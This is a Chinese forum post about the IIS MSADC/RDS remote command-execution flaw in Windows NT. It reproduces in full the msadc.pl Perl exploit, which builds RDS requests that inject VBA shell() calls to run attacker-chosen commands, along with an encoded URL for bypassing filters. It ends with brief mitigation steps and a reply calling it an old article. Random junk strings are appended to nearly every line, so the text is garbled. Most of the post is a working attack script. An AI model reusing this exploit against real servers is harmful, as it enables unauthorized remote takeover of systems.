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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) .2jG~_W[  
vKX $Nf  
涉及程序: wPl!}HNf  
Microsoft NT server o5N];Nj  
M!s@w%0?'  
描述: \q8D7/q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 =lf&mD _/  
>Tm|}\qEb  
详细: zJfoU*G/B  
如果你没有时间读详细内容的话,就删除: TZ7{cekQ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 82X}@5o2  
有关的安全问题就没有了。 Q.Kr;64G  
srN>pO8u~  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 S>]Jc$  
cXJtNW@  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3psCV=/z  
关于利用ODBC远程漏洞的描述,请参看: &!3=eVg  
FH'jP`  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm N>fC"  
Cz\(.MWNZ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 $UZ4,S?V  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 35;)O -  
BHwQB2t gc  
这里不再论述。 T1y,L<7?  
J]f\=;z;<a  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: at/v.U |F  
C_[V[k0(  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset lxRzyx  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \Mv8pU  
.bOueB-  
dJ#. m  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !Cj1:P  
:zC'jceO  
#!perl m<BL/ 7  
# ,uD>.->  
# MSADC/RDS 'usage' (aka exploit) script 2&W(@wT$  
# -ANp88a  
# by rain.forest.puppy F*QD\sG:  
# 6dh@DG*k  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me #EpDIL  
# beta test and find errors! DlR&Lnv  
6qK0G$>  
use Socket; use Getopt::Std; V 'Gi2gNaP  
getopts("e:vd:h:XR", \%args); E( M\U5o:  
$J #}3;a  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \<VwGbzFi  
?S8cl7;+  
if (!defined $args{h} && !defined $args{R}) { %>uGzQ61  
print qq~ j\nnx8`7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } eBTy!!  
-h <host> = host you want to scan (ip or domain) ^c1I'9(r5  
-d <seconds> = delay between calls, default 1 second #ZIV>(Q\H  
-X = dump Index Server path table, if available i&^?p|eKa  
-v = verbose G:.Nq,513  
-e = external dictionary file for step 5 '[p~| mX  
3MC| O5R4  
Or a -R will resume a command session g S;p::  
Uq/(xh,t5  
~; exit;} [?BmW {*u.  
x#e(&OjN7  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Nh41o0  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} #3$U&|`  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} HLAYmXX"w  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); V9"Kro  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} joifIp_  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } =MG  
xZS  
if (!defined $args{R}){ $ret = &has_msadc; : H<u@%  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?T5^hQT   
{"e/3  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 0x0.[1mB  
. "cmd /c "; 9 il!w g?  
$in=<STDIN>; chomp $in; 4j)Y>  
$command="cmd /c " . $in ; +*g[hRw[  
5.xvOi|.  
if (defined $args{R}) {&load; exit;} `4Z#/g  
8&VwAo  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; muo7KUT  
&try_btcustmr; 1uv"5`%s  
"8Pxf=   
print "\nStep 2: Trying to make our own DSN..."; `NV =2T  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; j2#Vdw|j  
qo.~5   
print "\nStep 3: Trying known DSNs..."; 6(oGU4  
&known_dsn; T~%5^+[h  
Tp<=dH%$%"  
print "\nStep 4: Trying known .mdbs..."; ]k{cPK  
&known_mdb; ls,gQ]B:P  
")HTUlcAe}  
if (defined $args{e}){ )G ,LG0"-  
print "\nStep 5: Trying dictionary of DSN names..."; Z8k O*LYv  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Ih`n:aA  
bqf=;Nvog  
print "Sorry Charley...maybe next time?\n"; \XMl8G  
exit; Lq LciD  
wH!]B-hn  
############################################################################## N{P (ym2yR  
Yq/|zTe{  
sub sendraw { # ripped and modded from whisker kOR%<#:J  
sleep($delay); # it's a DoS on the server! At least on mine... h=4m2m  
my ($pstr)=@_; .'"+CKD.N  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >Z|4/PF  
die("Socket problems\n"); G`mC=*M a;  
if(connect(S,pack "SnA4x8",2,80,$target)){ D2>EG~xWq  
select(S); $|=1; )sB`!:~HjP  
print $pstr; my @in=<S>; "=| yM~V  
select(STDOUT); close(S); _J   
return @in; X\$|oiR  
} else { die("Can't connect...\n"); }} c.&vWmLSGE  
jRB:o?S  
############################################################################## #B'WT{B$/~  
zv#i\8h^p  
sub make_header { # make the HTTP request &66G  
my $msadc=<<EOT GFlsI-*`  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 fQuphMOl6  
User-Agent: ACTIVEDATA C(iA G  
Host: $ip %<DRrKt  
Content-Length: $clen ffm19B=  
Connection: Keep-Alive HK&F'\'}  
=q[3/'2V$?  
ADCClientVersion:01.06 &.7\{q\(  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 -mX _I{BJ  
)l30~5u<J  
--!ADM!ROX!YOUR!WORLD! =q5A@!D  
Content-Type: application/x-varg  G!O D7:  
Content-Length: $reqlen w ^`n  
|}q0 G~l  
EOT d-N<VVcy\  
; $msadc=~s/\n/\r\n/g; ])~*)I~Y  
return $msadc;} 3QUe:8  
D9H|]W~   
############################################################################## P). @o.xl  
)CdglPK  
sub make_req { # make the RDS request p$[*GXR4  
my ($switch, $p1, $p2)=@_; 6/@ cP/  
my $req=""; my $t1, $t2, $query, $dsn; iyH<!>a  
rIge6A>I  
if ($switch==1){ # this is the btcustmr.mdb query sd8o&6  
$query="Select * from Customers where City=" . make_shell(); (: ZOoL  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Q:-H U bB  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "t"dz'  
Uk;SY[mU  
elsif ($switch==2){ # this is general make table query sur2Mw(M"  
$query="create table AZZ (B int, C varchar(10))"; rM bb%d:  
$dsn="$p1";} |[o2S90  
lrq !}\aX  
elsif ($switch==3){ # this is general exploit table query 2[M:WZ.1  
$query="select * from AZZ where C=" . make_shell(); *GRhZ~U  
$dsn="$p1";} Ju+@ROZ  
G0]q(.sOy  
elsif ($switch==4){ # attempt to hork file info from index server 8% 1hfj  
$query="select path from scope()"; zG& N5t96X  
$dsn="Provider=MSIDXS;";} KM0#M'dXy  
h.2!d0j]  
elsif ($switch==5){ # bad query #llc5i;  
$query="select"; SfL,_X]*  
$dsn="$p1";} uVscF 4  
!0Q(x  
$t1= make_unicode($query); U}Xc@- \ ?  
$t2= make_unicode($dsn); C(,s_Ks  
$req = "\x02\x00\x03\x00"; um3 M4>K  
$req.= "\x08\x00" . pack ("S1", length($t1)); "_#%W oo  
$req.= "\x00\x00" . $t1 ; -Qn:6M>w^  
$req.= "\x08\x00" . pack ("S1", length($t2)); Nb]qY>K  
$req.= "\x00\x00" . $t2 ; )b!q  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 'a"<uk3DT  
return $req;} ZQ20IY|,  
Tm3$|+}$f  
############################################################################## y[r T5ed  
9=< Z>  
sub make_shell { # this makes the shell() statement jjl4A} *0  
return "'|shell(\"$command\")|'";} )-jvp8%BK  
UBC[5E$  
############################################################################## dc?Yk3(Y  
o~iL aN\+  
sub make_unicode { # quick little function to convert to unicode })!n1kt  
my ($in)=@_; my $out; g_n=vO('X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } OvK_CN{  
return $out;} t1ZZru'r  
bjQfZT(  
############################################################################## ~}ewna/2  
DMs|Q$XB  
sub rdo_success { # checks for RDO return success (this is kludge) y/i"o-}}~|  
my (@in) = @_; my $base=content_start(@in); 2_F`ILCML  
if($in[$base]=~/multipart\/mixed/){ t 8M3VGN  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} W8":lpp  
return 0;} 8o{ SU6pH  
f "-<Z_  
############################################################################## O]2h=M@q.  
**s:H'Mw_  
sub make_dsn { # this makes a DSN for us ,vN#U&RS  
my @drives=("c","d","e","f"); ( I,V+v+{Y  
print "\nMaking DSN: "; ;H\,w /E9  
foreach $drive (@drives) { PL8akA#  
print "$drive: "; 0IA '8_K  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . A>k+ 4|f  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" HPpnw] _  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); d1E~H]X4  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 9d2$F9]:o  
return 0 if $2 eq "404"; # not found/doesn't exist 7<1Y%|x`  
if($2 eq "200") { 4]dPhsey  
foreach $line (@results) { m CdkYN#  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} eq4<   
} return 0;} e|4jT7L}  
y|lP.N/  
############################################################################## UoKBcarm  
dR=SW0Oa{  
sub verify_exists { ,bH  
my ($page)=@_; | c8u  
my @results=sendraw("GET $page HTTP/1.0\n\n"); *i$+i  
return $results[0];} Wq>j;\3b3  
nK96A.B%p  
############################################################################## ,5L &$Q6  
$x2<D :  
sub try_btcustmr { vF([mOZ  
my @drives=("c","d","e","f"); 0cS.|\ZTA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `$#64UZ>U1  
-#Wc@\;  
foreach $dir (@dirs) { -nd6hx  
print "$dir -> "; # fun status so you can see progress Viw{<VH=  
foreach $drive (@drives) { T%]: tDa  
print "$drive: "; # ditto 75v*&-  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; RyM2CQg[  
$reqlenlen=length( "$reqlen" ); 6Q wL  
$clen= 206 + $reqlenlen + $reqlen; `zsKc 6%  
.#Sd|C]R7  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8;Pdd1GyUL  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} _@RW7iP>  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} c dGl[dQ/  
0 /H1INve  
############################################################################## mV4} -  
W%$p,^@S5  
sub odbc_error { QR8F'7S  
my (@in)=@_; my $base; d5],O48A  
my $base = content_start(@in); Fvv6<E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this XSD7~X/:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4a646jg)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [%h^qJ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i$NnHj|  
return $in[$base+4].$in[$base+5].$in[$base+6];} jgO{DNe(=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 67sb D<r  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . dm 2_Fj  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Q,DumOq  
t)v#y!Ci"  
############################################################################## {Rz`)qqE  
v~xG*e  
sub verbose { Jq; }q63:  
my ($in)=@_; /y-P) 3_  
return if !$verbose; /JfXK$`  
print STDOUT "\n$in\n";} k1cBMDSokO  
>:Oo[{)  
############################################################################## gM= ~dBz  
M1g|m|H7  
sub save { --/  .  
my ($p1, $p2, $p3, $p4)=@_; P]x@h  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; cCj3,s/p  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 4u&l@BUr  
close OUT;} d6n6= [*  
|0bSxPXn!  
############################################################################## 4t+88e  
LS_QoS  
sub load { |zUDu\MZ{  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; i&KbzOY  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); |Y99s)2&N  
@p=<IN>; close(IN); K:{Q~+   
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ]pGr'T~Gj  
$target= inet_aton($ip) || die("inet_aton problems"); h*KhH>\  
print "Resuming to $ip ..."; Ln: y|t  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; @Ab<I  
if($p[1]==1) { v>e4a/  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Y{S/A*X  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; );*GOLka  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $i2gOz  
if (rdo_success(@results)){print "Success!\n";} <l6CtK@  
else { print "failed\n"; verbose(odbc_error(@results));}} .9E`x>C  
elsif ($p[1]==3){ %8-S>'g'  
if(run_query("$p[3]")){ C[s*Na-  
print "Success!\n";} else { print "failed\n"; }} #&/*ll)  
elsif ($p[1]==4){ -^Lj~O  
if(run_query($drvst . "$p[3]")){ Gmc"3L  
print "Success!\n"; } else { print "failed\n"; }} yZ  P+  
exit;} F 4h EfO3  
p;H1,E:Re#  
############################################################################## q<UqGj7#   
S xgY q  
sub create_table { 0I&rZMpF&  
my ($in)=@_; "8rP?B(  
$reqlen=length( make_req(2,$in,"") ) - 28; [Q*kom :  
$reqlenlen=length( "$reqlen" ); IrVeP&KM+  
$clen= 206 + $reqlenlen + $reqlen; !bY{T#i)k  
my @results=sendraw(make_header() . make_req(2,$in,"")); N" 8o0>  
return 1 if rdo_success(@results); aL`pvsnF  
my $temp= odbc_error(@results); verbose($temp); <)&ykcB  
return 1 if $temp=~/Table 'AZZ' already exists/; JxWHrsh[  
return 0;} bH.">IV  
4EELaP|%  
############################################################################## [_~U<   
DUtpd|  
sub known_dsn { 5N6%N1  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go `BvcI n4do  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 2sTyuH .  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", nxJhK T  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); v{jl)?`~w  
m$ JQ[vgh  
foreach $dSn (@dsns) { &O[o;(}mFI  
print "."; jgYiuM3c\  
next if (!is_access("DSN=$dSn")); 6SmSu\lgV  
if(create_table("DSN=$dSn")){ 0<)8 ?ow  
print "$dSn successful\n"; *rbH|o8  
if(run_query("DSN=$dSn")){ #A/jGv^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Gmwn:  
print "Something's borked. Use verbose next time\n";}}} print "\n";} `rcjZ^n  
H;CGLis  
############################################################################## \}2Wd`kD  
e (f)?H  
sub is_access { JDs<1@\  
my ($in)=@_; `?$R_uFh:  
$reqlen=length( make_req(5,$in,"") ) - 28; J?]W!V7C  
$reqlenlen=length( "$reqlen" ); a[u8x mH  
$clen= 206 + $reqlenlen + $reqlen; Zf"AqGP  
my @results=sendraw(make_header() . make_req(5,$in,"")); r`krv-,O$  
my $temp= odbc_error(@results); {P]l{W@li  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); e 9:l  
return 0;} $`Ou*  
{L+?n*;CA  
############################################################################## }cP 3i  
+j<Nu)0iY  
sub run_query { v|"{x&I.  
my ($in)=@_; =:2V4H(F  
$reqlen=length( make_req(3,$in,"") ) - 28; 3)xV-Y9  
$reqlenlen=length( "$reqlen" ); qle\c[UM5  
$clen= 206 + $reqlenlen + $reqlen; @fY!@xSf  
my @results=sendraw(make_header() . make_req(3,$in,"")); wS5hXTb"  
return 1 if rdo_success(@results); pUPb+:^R  
my $temp= odbc_error(@results); verbose($temp); <ya3|ycnS  
return 0;} =y4g. J\  
kSJWQ  
############################################################################## fT@#S}t  
!9!N s(vUM  
sub known_mdb { ecF I"g  
my @drives=("c","d","e","f","g"); "au"\}   
my @dirs=("winnt","winnt35","winnt351","win","windows"); z XvWo6  
my $dir, $drive, $mdb; z[';HJ0O;  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; !At_^hSqz  
o#T,vu0s  
# this is sparse, because I don't know of many |9%>R*  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *=I#VN*_<.  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ~/NA?E-c  
"\\system32\\certmdb.mdb", zso.?`85  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% \<P W_'6  
vxwctJ&  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }:BF3cH> 0  
"\\cfusion\\cfapps\\forums\\forums_.mdb", USbiI %   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ctCfLlK  
"\\cfusion\\cfapps\\security\\realm_.mdb", )~5`A*Ku  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", $DMeUA\av  
"\\cfusion\\database\\cfexamples.mdb", #e#8I7P  
"\\cfusion\\database\\cfsnippets.mdb", ;6]+/e7O  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", *L^{p.K4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", =tP|sYR]^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", )sL:iGU  
"\\cfusion\\database\\smpolicy.mdb", mg;qG@?  
"\\cfusion\\database\cypress.mdb", W w8[d  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", N( /PJJ~  
"\\website\\cgi-win\\dbsample.mdb", !Khsx  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", a@ lK+t  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w3& F e=c  
); #these are just c_" .+Fa  
foreach $drive (@drives) { $$8"i+,K  
foreach $dir (@dirs){ 9LFg":  
foreach $mdb (@sysmdbs) { T&!>lqU!J  
print "."; e8[ *=&  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ GJW1|Fk  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; E:i3 /Ep?  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ KctD=6  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; sFGXW  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [A3hrSw  
$<y b~z7J  
foreach $drive (@drives) { auO^v;s  
foreach $mdb (@mdbs) { G,XFS8{%  
print "."; /yI~(8bO  
if(create_table($drv . $drive . $dir . $mdb)){ k_^d7yH  
print "\n" . $drive . $dir . $mdb . " successful\n"; MTF:mLJ  
if(run_query($drv . $drive . $dir . $mdb)){ 2x{3'^+l  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |mK d5[$  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9]S}m[8k  
} ;~@2YPj  
X-ml0 =M[  
############################################################################## <oR Nd3d  
iWvgCm4  
sub hork_idx { H,uOshR  
print "\nAttempting to dump Index Server tables...\n"; O@ "6)/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; jeJGxfii  
$reqlen=length( make_req(4,"","") ) - 28; O<+C$J|  
$reqlenlen=length( "$reqlen" ); _h.[I8xgYG  
$clen= 206 + $reqlenlen + $reqlen; eLt6Hg)s`9  
my @results=sendraw2(make_header() . make_req(4,"","")); ~gV|_G  
if (rdo_success(@results)){ *m|]c4  
my $max=@results; my $c; my %d; ad"&c*m[  
for($c=19; $c<$max; $c++){ *+J&ebSTN  
$results[$c]=~s/\x00//g; ,+q5e^P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; r67 3+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; xWV_Do)z  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; N),Zb^~nw  
$d{"$1$2"}="";} Bz24U wcZ  
foreach $c (keys %d){ print "$c\n"; } N.VzA 6 C  
} else {print "Index server doesn't seem to be installed.\n"; }} un\"1RdO  
\Q3m?)X=Gd  
############################################################################## 5-+Y2tp}  
x &\~4,TN  
sub dsn_dict { lh5k@\X  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 2S/^"IM["  
while(<IN>){ T? =jKLPC  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 6L*y$e"Qc  
next if (!is_access("DSN=$dSn")); xR%CS`0R  
if(create_table("DSN=$dSn")){ +\{!jB*g  
print "$dSn successful\n"; 1 ltoLd\{  
if(run_query("DSN=$dSn")){ =XYfzR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { eDy}_By^  
print "Something's borked. Use verbose next time\n";}}} i=SX_#b^  
print "\n"; close(IN);} -nU_eDy  
1r8]EaI  
############################################################################## H%/$Rqg  
H!xBFiOH$n  
sub sendraw2 { # ripped and modded from whisker on(W^ocnD  
sleep($delay); # it's a DoS on the server! At least on mine... L ~  
my ($pstr)=@_; kp0>8rkF  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || +}:c+Z<  
die("Socket problems\n"); ~=c#Ff =Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ "#p)Z{v"!  
print "Connected. Getting data"; N/y.=]  
open(OUT,">raw.out"); my @in; 5v?6J#]2  
select(S); $|=1; print $pstr; |_ ;-~bmb  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} L=VuEF  
close(OUT); select(STDOUT); close(S); return @in; 9t)t-t#P;  
} else { die("Can't connect...\n"); }} @4&sL](q  
.Oim7JQ8  
############################################################################## sGzd c  
K{ 0mb  
sub content_start { # this will take in the server headers KRz\ct|  
my (@in)=@_; my $c; i1scoxX3\  
for ($c=1;$c<500;$c++) { O,DA{> *m  
if($in[$c] =~/^\x0d\x0a/){ 6bU/IVP  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } yJgnw6>r2  
else { return $c+1; }}} ^91k@MC  
return -1;} # it should never get here actually L6',s4  
1*=[% d7  
############################################################################## Q}1PPi,  
]zD/W%c  
sub funky { <;acWT?(  
my (@in)=@_; my $error=odbc_error(@in); yyZjMnuD  
if($error=~/ADO could not find the specified provider/){ 6vmkDL8{A8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 8T1`TGSFC  
exit;} L1aN"KGMF  
if($error=~/A Handler is required/){ t<$yxD/R  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2Ejs{KUj  
exit;} fXL$CgXG\x  
if($error=~/specified Handler has denied Access/){ {E@@14]g  
print "\nServer has custom handler filters (they most likely are patched)\n"; b@,w/Uw[*  
exit;}} !ZB|GLpo6  
kWr*+3Xq  
############################################################################## 9m8`4%y=  
kH{axMNc  
sub has_msadc { _:TD{EO$  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Ot(EDa9}IJ  
my $base=content_start(@results); o{:D  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,g/UPK8K=  
return 0;} ku\_M  
4cs`R+]o  
######################## ;B tRDKn  
kR'!;}s  
C YnBZ  
解决方案: r{Xh]U&>k  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll mWO=(}Fb\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 U^Hymgb%  
P 0,]Ud  
拿出来充数 哈哈
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